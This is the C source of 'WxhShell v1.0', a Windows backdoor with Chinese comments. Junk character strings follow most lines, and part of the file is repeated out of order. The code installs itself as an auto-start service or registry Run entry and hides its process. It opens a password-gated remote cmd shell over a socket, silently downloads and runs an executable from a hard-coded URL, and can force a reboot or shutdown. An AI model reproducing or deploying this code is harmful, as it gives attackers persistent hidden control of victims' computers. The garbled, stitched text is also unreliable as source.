    if(Boot(SHUTDOWN)) B[GC@]HE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J W@6m  
    else { b;UBvwY_  
    closesocket(wsh); qqf`z,u  
    ExitThread(0); /DHgwpJ  
    } .EL3}6"A  
    break; eV|N@  
    } :^3) [.m  
  // 获取shell 7qB4_  
  case 's': { k8+J7(_c  
    CmdShell(wsh); I]v2-rB&-  
    closesocket(wsh); OR+qi*)  
    ExitThread(0); 0]|`*f&p;  
    break; hi1Ial\Y  
  } ,SR7DiYg  
  // 退出 U.Mfu9}#:  
  case 'x': { dj Ojd,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GpeW<% \P  
    CloseIt(wsh); o{sv<$  
    break; x950,`zy  
    } gM3:J:N  
  // 离开 5 3%>)gk:  
  case 'q': { "#r)NYq`"|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <u!cdYo@  
    closesocket(wsh); 6WY/[TC-  
    WSACleanup(); \sAaVdZJH(  
    exit(1); 2CzhaO  
    break; (SBhU:^h  
        } A9MM^j V8  
  } v745F Iy<  
  } d&j  
UucI>E3?P{  
  // 提示信息 F}nwTras  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gaix6@X6'  
} 1D*=ZkA)  
  } 1#A$&'&\J;  
@L3XBV2  
  return; q Q\j  
} =8\.fp  
YExgUE|  
// shell模块句柄 ,dIev<  
int CmdShell(SOCKET sock) ljKIxSvCFp  
{ ;o9h|LRs  
STARTUPINFO si; =u<:'\_  
ZeroMemory(&si,sizeof(si)); b7QE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *jlIV$r_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5'} V`?S  
PROCESS_INFORMATION ProcessInfo; .Kb3VNgwvm  
char cmdline[]="cmd"; &xnQLz:#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S+T/(-W  
  return 0; %j7b0pb  
} hYW9a`Ht/  
xa~]t<2  
// 自身启动模式 gQn%RPMh  
int StartFromService(void) _?tpO61g>  
{ $h#sb4ek  
typedef struct <3;p>4gN  
{ ']M/'CcM  
  DWORD ExitStatus;  &9y Zfp  
  DWORD PebBaseAddress; p#@#$u-  
  DWORD AffinityMask; n#(pT3&  
  DWORD BasePriority; ~aob@(  
  ULONG UniqueProcessId; 8z9 {H  
  ULONG InheritedFromUniqueProcessId; n:5M E*  
}   PROCESS_BASIC_INFORMATION; ?KC(WaGJQ  
AC,RS 7  
PROCNTQSIP NtQueryInformationProcess; I1Q!3P  
.GrOdDK$ns  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l=~!'1@L}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vF72#BNs  
XNz+a|cF  
  HANDLE             hProcess; [YDSS/  
  PROCESS_BASIC_INFORMATION pbi; S_ATsG*(  
zxyl+tU &  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +?_!8N8  
  if(NULL == hInst ) return 0; G/_IY;  
yXJhOCa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kj4/fB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hG1:E:}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z vysLHj  
7N$2N!I(  
  if (!NtQueryInformationProcess) return 0; B8@mL-Z-;  
n]4E>/\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (@?mm  
  if(!hProcess) return 0; tB_le>rhl  
-&Rv=q>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~ ld.I4  
R<|\Z@z  
  CloseHandle(hProcess); 2b"*~O;  
q}{E![ZTu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =?i?-6M  
if(hProcess==NULL) return 0; c./\sN@  
)qWwh)\;!  
HMODULE hMod; f|d~=\0y  
char procName[255]; eaw!5]huu  
unsigned long cbNeeded; 6!<I'M'[e  
cx\"r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =ZgueUz,  
e(c\U}&  
  CloseHandle(hProcess);  o E+'@  
v">?`8V  
if(strstr(procName,"services")) return 1; // 以服务启动 G~9m,l+  
"HOZ2_(o  
  return 0; // 注册表启动 `4"8@>D  
} o_:v?Y>0  
;UdM8+^/V]  
// 主模块 *^?tr?e%I<  
int StartWxhshell(LPSTR lpCmdLine) "j>X^vn  
{ omG2p  
  SOCKET wsl; -^p{J TB+  
BOOL val=TRUE; b?~p/[  
  int port=0; R7::f\I   
  struct sockaddr_in door; >* -I Io  
?ANW I8'_j  
  if(wscfg.ws_autoins) Install(); )GB#"2  
!3b& S4  
port=atoi(lpCmdLine); }x'*3zI  
+){^HC\7h  
if(port<=0) port=wscfg.ws_port; o}N@Q-i gq  
>y%H2][  
  WSADATA data; LuS@Kf8N+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fNN l1Vls  
Ycr3$n]e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u8f\)m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J8'"vc}=  
  door.sin_family = AF_INET; 6-U_TV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [LVXXjkFI  
  door.sin_port = htons(port); '6N)sqTR  
5`h 6oFxGp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @@Ib^sB%  
closesocket(wsl); 2Kxb(q"  
return 1; 3vrVX<_  
} Tm %5:/<8  
9o@3$  
  if(listen(wsl,2) == INVALID_SOCKET) { NaR} 0  
closesocket(wsl); (-C)A-Uo&  
return 1; lm`*x=x  
} `>"#d ?,  
  Wxhshell(wsl); K^WDA])  
  WSACleanup(); ,TBOEu."4  
#Xg;E3BM  
return 0; d1~#@6CIz  
!W}sOK7#  
} &xGdKH  
[-(^>Y  
// 以NT服务方式启动 HLyA zB~r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'm<Lx _i  
{ rPk|2l,E,3  
DWORD   status = 0; #|9W9\f,  
  DWORD   specificError = 0xfffffff; |\(uO|)ju  
Sca"LaW1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0i~U(qoI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p4T$(]7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [F<E0rjwM  
  serviceStatus.dwWin32ExitCode     = 0; -Y_, .'ex  
  serviceStatus.dwServiceSpecificExitCode = 0; @.;+WQE  
  serviceStatus.dwCheckPoint       = 0; F5?S8=i  
  serviceStatus.dwWaitHint       = 0; ~&Z>fgOTJ  
N[Z`tk?-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !Fl'?Kz  
  if (hServiceStatusHandle==0) return; /k'7j*t Z  
z:Am1B  
status = GetLastError(); o\8?CNm1(  
  if (status!=NO_ERROR) (Yewd/T  
{ ysnW3q!@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6]7csOE  
    serviceStatus.dwCheckPoint       = 0; UytMnJ88  
    serviceStatus.dwWaitHint       = 0; "0eX/ rY%  
    serviceStatus.dwWin32ExitCode     = status; VR (R.  
    serviceStatus.dwServiceSpecificExitCode = specificError; m CO1,?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^s)`UZ<C=  
    return; ]p!{   
  } e)sR$]i:v  
_xKn2?d8g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F`g(vD >  
  serviceStatus.dwCheckPoint       = 0; 2cCiHEL#  
  serviceStatus.dwWaitHint       = 0; iil<zEic  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R4p Pt  
} FGDVBUY@  
=WTSaC  
// 处理NT服务事件,比如:启动、停止 D4VDWv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fJS:46  
{ ACyK#5E  
switch(fdwControl) @R&d<^I&M  
{ Gxw1P@<F:  
case SERVICE_CONTROL_STOP: B=0^Rysg  
  serviceStatus.dwWin32ExitCode = 0; Z- feMM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xF8r+{_J)  
  serviceStatus.dwCheckPoint   = 0; qFmw9\Fn  
  serviceStatus.dwWaitHint     = 0; 9q'&tU'a=c  
  { NY7yk3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4>,X.|9{  
  } S=4o@3%$  
  return;  qb? <u  
case SERVICE_CONTROL_PAUSE: [xqV`(vM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c!IZLaVAr9  
  break; bWTf P8gT  
case SERVICE_CONTROL_CONTINUE: =F+v+zP7P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V,-we|"  
  break; U}w'/:H  
case SERVICE_CONTROL_INTERROGATE: v]k-x n|$j  
  break; `w!XO$"]Z  
}; E0ED[d,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rqjq}L)  
} @f-:C+(Nsg  
4aHogheg  
// 标准应用程序主函数 s!IIvF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) syw1Z*WK  
{ ~e}JqJ(97  
G'JHimP2j  
// 获取操作系统版本 -`faXFW'  
OsIsNt=GetOsVer(); av'm$I|O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _wKwiJs  
^`cv6;)  
  // 从命令行安装 Uj5-x%~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6*Z7JiQ 0  
x0# Bc7y  
  // 下载执行文件 BgXZr,?  
if(wscfg.ws_downexe) { RRja{*R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fOi Rstci  
  WinExec(wscfg.ws_filenam,SW_HIDE); JK2{9#*  
} I# tlaz#  
M+%Xq0`T  
if(!OsIsNt) { AqgY*"A7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ':n`0+Eh  
HideProc(); T]\1gs41  
StartWxhshell(lpCmdLine); *'?ZG/ (  
} &GLDoLk6[  
else ]W3_]N 3  
  if(StartFromService()) >` s"C  
  // 以服务方式启动 Q+Bl1xl  
  StartServiceCtrlDispatcher(DispatchTable); p)SW(pS  
else .?u<|4jE6  
  // 普通方式启动 wa[L[mw  
  StartWxhshell(lpCmdLine); RL}?.'!  
pN^g.  
return 0; Ll KO(Q{"  
} Gi)Vr\Q.  
M@T{uo  
L-Q8iFW'  
"w?0f["  
=========================================== <,:{Q75  
<6(0ZO%,C!  
I3>8B  
FF#Aq  
-;gQy[U  
\~8W0q.4M  
" e\X[\ve  
n1; a~0P  
#include <stdio.h> #;8)UNc)}  
#include <string.h> IN/$b^Um  
#include <windows.h> r]Hrz'C`  
#include <winsock2.h> 6],?Y+_;)L  
#include <winsvc.h> 'TYO-'aC  
#include <urlmon.h> s O#cJAfuu  
~2>Adp  
#pragma comment (lib, "Ws2_32.lib") d21thV ,S  
#pragma comment (lib, "urlmon.lib") !y$##PZ  
koT3~FK  
#define MAX_USER   100 // 最大客户端连接数 &/[MWQ  
#define BUF_SOCK   200 // sock buffer V06*qQ[  
#define KEY_BUFF   255 // 输入 buffer X_'tgP9  
l1]N&jN{  
#define REBOOT     0   // 重启 cS Lj\'`b  
#define SHUTDOWN   1   // 关机 AO`@ &e]o  
IwYfs]-  
#define DEF_PORT   5000 // 监听端口  @N '_qu  
=p@2[Uo  
#define REG_LEN     16   // 注册表键长度 =( ZOn=IL  
#define SVC_LEN     80   // NT服务名长度 & PXT$x[i  
oC" [rn  
// 从dll定义API 9+y&&;p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dlvU=^G#G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WCd: (8B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mKtMI!FR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |};d:LwX  
f~l pa7  
// wxhshell配置信息 N^B7<~ bD  
struct WSCFG { ]N}/L lq  
  int ws_port;         // 监听端口 nN$.^!;&  
  char ws_passstr[REG_LEN]; // 口令 ,>#\aO1n  
  int ws_autoins;       // 安装标记, 1=yes 0=no { (.@bT@  
  char ws_regname[REG_LEN]; // 注册表键名 [BdRx`  
  char ws_svcname[REG_LEN]; // 服务名 hfJ&o7Dt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8r>\scS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M p <r`PM2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ P6 !  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %_n%-Qn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @G]*]rkKb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "E7<S5 cr  
6{d?3Jk  
}; X`<z5W] !  
_ LgP  
// default Wxhshell configuration "&XhMw4  
struct WSCFG wscfg={DEF_PORT, vC]r1q.(  
    "xuhuanlingzhe", A]Hz?i  
    1, <gX({FA  
    "Wxhshell", 5fs,UH  
    "Wxhshell", #Qg)4[pMJ  
            "WxhShell Service", C!547(l[  
    "Wrsky Windows CmdShell Service", $C=XSuPNK  
    "Please Input Your Password: ", ((AK7hb  
  1, 4D 5Wse  
  "http://www.wrsky.com/wxhshell.exe", 8 |= c3Z  
  "Wxhshell.exe" )y:M8((%  
    }; 8S#&XS>o  
/qKor;x  
// 消息定义模块 (e_p8[x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xc'uC bH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qu/f>tJN;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q7`)&^ Hx  
char *msg_ws_ext="\n\rExit."; <:(;#&<  
char *msg_ws_end="\n\rQuit."; M-;Mw Lx  
char *msg_ws_boot="\n\rReboot..."; LIJ#nb  
char *msg_ws_poff="\n\rShutdown..."; H!FaI(YZl  
char *msg_ws_down="\n\rSave to "; |61ns6i!  
vnf2Z,f%  
char *msg_ws_err="\n\rErr!"; ,d!@5d&Zi  
char *msg_ws_ok="\n\rOK!"; ;j~%11  
2xi; 13?  
char ExeFile[MAX_PATH]; 1foG*   
int nUser = 0; zNGUll$  
HANDLE handles[MAX_USER]; Y1AZ%{^0a  
int OsIsNt; +F,])p4,]i  
r4K_Wp  
SERVICE_STATUS       serviceStatus;  EAr;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c#?~1@=  
3KeY4b!h  
// 函数声明 Q|VBH5}1O  
int Install(void); Wd+kjI\  
int Uninstall(void); FP y}Wc*UA  
int DownloadFile(char *sURL, SOCKET wsh); T.QJ#vKO0  
int Boot(int flag); 2u0B=0x  
void HideProc(void); toj5b;+4F  
int GetOsVer(void); u46Z}~xfb  
int Wxhshell(SOCKET wsl); e&A3=a~\s  
void TalkWithClient(void *cs); VqD_FS;E  
int CmdShell(SOCKET sock); 4S+E% b|)  
int StartFromService(void); W4#DeT  
int StartWxhshell(LPSTR lpCmdLine); `6YN/"unfp  
t\2-7Ohj6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k ^KpQ&n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^G5fs'd  
} nIYNeP?D  
// 数据结构和表定义 <JXHg, Q  
SERVICE_TABLE_ENTRY DispatchTable[] = _BgWy#  
{ +wHa)A0MW  
{wscfg.ws_svcname, NTServiceMain}, iYdg1  
{NULL, NULL} W<O/LHKHdn  
}; 9)[)0 7  
o8A8fHl  
// 自我安装 wT3D9N.  
int Install(void) KB^GC5L>  
{ 3qV~C{ S  
  char svExeFile[MAX_PATH]; [H$kVQC  
  HKEY key; cF iTanu  
  strcpy(svExeFile,ExeFile); u#V;  
uVX,[%*P  
// 如果是win9x系统,修改注册表设为自启动 ?}uvpB1}  
if(!OsIsNt) { +,T}x+D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .345%j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<w1d{Td  
  RegCloseKey(key); V.+a}J=Cw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r' |ei,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8[ ZuVJ]  
  RegCloseKey(key); V6Of(;r  
  return 0; w8KxEV=  
    } e-xT.RnQ  
  } Hg\H>Z  
} h9nh9a(2  
else { xo-{N[r  
ZY6%%7?1  
// 如果是NT以上系统,安装为系统服务 SM<qb0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a6d|Ps.\!  
if (schSCManager!=0) ZxDh! _[s  
{ 6hFs{P7  
  SC_HANDLE schService = CreateService d%!yFix;<  
  ( gaU^l73 ,C  
  schSCManager, Pi%-bD/w  
  wscfg.ws_svcname, ?]}=4  
  wscfg.ws_svcdisp, ;>]dwsA*P  
  SERVICE_ALL_ACCESS, (5RZLRn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \ov]Rn  
  SERVICE_AUTO_START, Z#GR)jb+  
  SERVICE_ERROR_NORMAL, 0U2dNLc  
  svExeFile, $7Tj<;TV  
  NULL, |g\CS4$  
  NULL, eW_EWVH  
  NULL, EYZ,GT-I  
  NULL, pQm-Hr78j  
  NULL "?J f#  
  ); 2T"[$iH!7  
  if (schService!=0) Y~OyoNu2  
  { Vl:M6d1  
  CloseServiceHandle(schService); >k 2^A  
  CloseServiceHandle(schSCManager); 368H6 Jj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L\t!)X-4  
  strcat(svExeFile,wscfg.ws_svcname); ^687U,+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I=8MLv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h*mKS -TC  
  RegCloseKey(key); =?hbi]  
  return 0; OJLyqncw  
    } w`Rt"d_B  
  } Z1DF)  
  CloseServiceHandle(schSCManager); :XO7#P  
} b$B-LvHd1  
} mZ#IP  
qh wl  
return 1; #XAH`L\  
} @])}+4D(S  
x=44ITe1n[  
// 自我卸载 vLcOZ^iK  
int Uninstall(void) ,j[1!*Z_[  
{ ${7s"IX  
  HKEY key; I#CS;Yh95  
,,V uvn  
if(!OsIsNt) { m^a0JR}u9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M`@Es#s  
  RegDeleteValue(key,wscfg.ws_regname); |Lz7}g=6  
  RegCloseKey(key); x1QL!MB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2ZQ|nwb7  
  RegDeleteValue(key,wscfg.ws_regname);  d|$-Sz  
  RegCloseKey(key); bY=Yb  
  return 0; l8N5}!N  
  } KRj3??b  
} rj;~SC{  
} El3Ayd3  
else { ;0E[ ; L!  
Z , 98  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N_y#Y{c{(  
if (schSCManager!=0) BKW%/y"  
{ cN#f$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D?9EO=  
  if (schService!=0) ~ePtK~,dv  
  { {=kW?  
  if(DeleteService(schService)!=0) { 3+:uV  
  CloseServiceHandle(schService); qk\LfRbj  
  CloseServiceHandle(schSCManager); |>=\ VX17  
  return 0; VDPq3`$+v{  
  } ZvW&%*k=  
  CloseServiceHandle(schService); 1s#GY<<  
  } 0,[- 4m  
  CloseServiceHandle(schSCManager); \!'K#%]9  
} ~2?UEv6  
} DBzF\-  
U\",!S~<  
return 1; SrSm%Dv  
} '3ZYoA%  
#h7 $b@  
// 从指定url下载文件 +8V |  
int DownloadFile(char *sURL, SOCKET wsh) 05vu{>  
{ #+PfrS=  
  HRESULT hr; 08E,U  
char seps[]= "/"; {c:ef@'U  
char *token; G X>T~i\f8  
char *file; =?- s azF&  
char myURL[MAX_PATH]; 0i9C\'W`  
char myFILE[MAX_PATH]; m3iB`  
>{kPa|  
strcpy(myURL,sURL); l j*J|%~  
  token=strtok(myURL,seps); s$;IR c5!6  
  while(token!=NULL)  Ry iS  
  { o[CjRQY]P  
    file=token; G,b1u"  
  token=strtok(NULL,seps); @V# wYt  
  } ,4z?9@wQ  
(L6*#!Dt  
GetCurrentDirectory(MAX_PATH,myFILE); }X*.Vv A  
strcat(myFILE, "\\"); H(Q|qckj  
strcat(myFILE, file); " ^:$7~%bA  
  send(wsh,myFILE,strlen(myFILE),0); lEv<n6:_  
send(wsh,"...",3,0); Ayi Uz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h 66X746  
  if(hr==S_OK) E8.xmTq  
return 0; C]+T5W\"<B  
else ec` $2u  
return 1; j;b<oQH  
-"e$ VB  
} ~_Mz05J-\_  
qP0_#l&  
// 系统电源模块 S4Vv _k-&  
int Boot(int flag) Q35/Sp[;x  
{ pJ1Q~tI  
  HANDLE hToken; [#R<Z+c  
  TOKEN_PRIVILEGES tkp; 2 <@27 C5  
/RmHG H!  
  if(OsIsNt) { rpT{0 >5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '{:Yg3K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *AU"FI> V  
    tkp.PrivilegeCount = 1; qm)KO 4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (g@e=m7Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S qQqG3F  
if(flag==REBOOT) { x@]pUA1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zSi SZMP"  
  return 0; 1=t\|Th-  
} 9)qjW&`  
else { ?DC3BA\)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %8V/QimHU  
  return 0; -R;.Md_  
} t'EH_ U  
  } ^E7>!Lbvx  
  else { f#p.=F$  
if(flag==REBOOT) { #mX=Y>l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^J>jU`)CJ  
  return 0; w%1B_PyDg  
} ?~a M<rcZ  
else { URW'*\Xjb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e.0vh?{\  
  return 0; {=,?]Z+  
} eb)S<%R/  
} >Tld:  
.JpYZ |  
return 1; >29eu^~nh  
} y)v'0q  
[JGa3e  
// win9x进程隐藏模块 m)q;eQs  
void HideProc(void) nFlj`k<]Y  
{ y= I LA  
'lv\I9"S)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w<awCp  
  if ( hKernel != NULL ) Fa9]!bW  
  { C/[2?[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vbQo8GFp}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CD^_>sya  
    FreeLibrary(hKernel); XTyn[n  
  } 6yF4%Sz9  
6kjBd3  
return; 5-w6(uu  
} ''wWw(2O  
A"C%.InZ  
// 获取操作系统版本 }qW%=;!  
int GetOsVer(void) 5in6Y5ckj  
{ Uz H)fB  
  OSVERSIONINFO winfo; slHlfWHq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y3$' gu|  
  GetVersionEx(&winfo); T_,LK7D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'mug,jM  
  return 1; eF}Q8]da  
  else FWdSpaas Q  
  return 0; z0HCmj9T  
} Tc\^=e^N?  
^C):yxN P  
// 客户端句柄模块 9))%tYN  
int Wxhshell(SOCKET wsl) &6MGPh7T  
{ h.4;-&  
  SOCKET wsh; akBR"y:~:H  
  struct sockaddr_in client; $z{HNY* 2  
  DWORD myID; rQ*'2Zf'<  
C3bZ3vcW$  
  while(nUser<MAX_USER) Fm,A<+l@u  
{ }.2pR*W  
  int nSize=sizeof(client); <W/-[ M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nf /iZ &  
  if(wsh==INVALID_SOCKET) return 1; zG@9-s* L  
cGsxfwD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jfqWcX.X=  
if(handles[nUser]==0) I LF"m;  
  closesocket(wsh); \#2,1W@  
else Fdu0?H2TL  
  nUser++; YcRjbF,|6  
  } dm.?-u;C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LD_aJ^(d  
_\sm$ `q  
  return 0; L\_8}\  
} na  $z\C\  
k%NY,(:(  
// 关闭 socket } %S1OQC  
void CloseIt(SOCKET wsh) !pw%l4]/t  
{ og. dYs7W4  
closesocket(wsh); <B$Lu4b@c  
nUser--; )5d&K8@  
ExitThread(0); "H%TOk7l  
} _rs!6tp  
AZl|; y  
// 客户端请求句柄 lJKhP  
void TalkWithClient(void *cs) k@4]s_2  
{ s;8J= \9W  
i0p"q p  
  SOCKET wsh=(SOCKET)cs; @%ChPjN  
  char pwd[SVC_LEN]; NqhRJa63  
  char cmd[KEY_BUFF]; 6=A ++H @  
char chr[1]; OYG8%L  
int i,j; (.%:Q0i1  
L'=e /&  
  while (nUser < MAX_USER) { 8>q:Q<BB2  
BcV;EEi  
if(wscfg.ws_passstr) { it!i'lG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M (dVY/ i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sd'Meebu  
  //ZeroMemory(pwd,KEY_BUFF); }%k,PYe/  
      i=0; (?-5p;  
  while(i<SVC_LEN) { g3{)AX[Uy  
Wo5G23:xz  
  // 设置超时 6suB!XF;  
  fd_set FdRead; WH :+HNl1d  
  struct timeval TimeOut; 'qLk"   
  FD_ZERO(&FdRead); Q6?+#}  
  FD_SET(wsh,&FdRead); &|<~J (L;  
  TimeOut.tv_sec=8; R =HN>(U  
  TimeOut.tv_usec=0; ><iEVrpN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xXO& -v{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #FF5xe  
'T[=Uuj"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v}dt**l  
  pwd=chr[0]; ]OY6.m  
  if(chr[0]==0xd || chr[0]==0xa) { sw*k(i  
  pwd=0; Y%qhgzz?/  
  break; Rf2/[  
  } f ;|[  
  i++; GN{\ccej  
    } pPCxa#OV  
Q"8)'dL'  
  // 如果是非法用户,关闭 socket d T/*O8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9<<$uf.B  
} xTD6?X'4  
+`f gn9p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .^#{rk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;~z>GJox  
LYh5f#  
while(1) { &{&lCBN  
k}>l+_*+7  
  ZeroMemory(cmd,KEY_BUFF); 5:|5NX[.b  
V]H<:UE  
      // 自动支持客户端 telnet标准   wO} 3i6  
  j=0; EBzg<-?o  
  while(j<KEY_BUFF) { ~2@U85"o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BO[Q"g$Kon  
  cmd[j]=chr[0]; HAo8]?J  
  if(chr[0]==0xa || chr[0]==0xd) { "+nURdicO  
  cmd[j]=0; o)}b Fw  
  break; pRc(>P3;  
  } 9Lz)SYd  
  j++; a,cDj  
    } &%u,b~cL?  
a-!"m  
  // 下载文件 s>~&: GUwR  
  if(strstr(cmd,"http://")) { Z+t?ah00  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  4EB$e?  
  if(DownloadFile(cmd,wsh)) UMhM8m!=o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&C)`};  
  else WS(@KN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R~RY:[5?w  
  } w5|@vB/pj  
  else { -m'a%aog  
;k/0N~  
    switch(cmd[0]) { m(OBk;S~   
  )0}obPp  
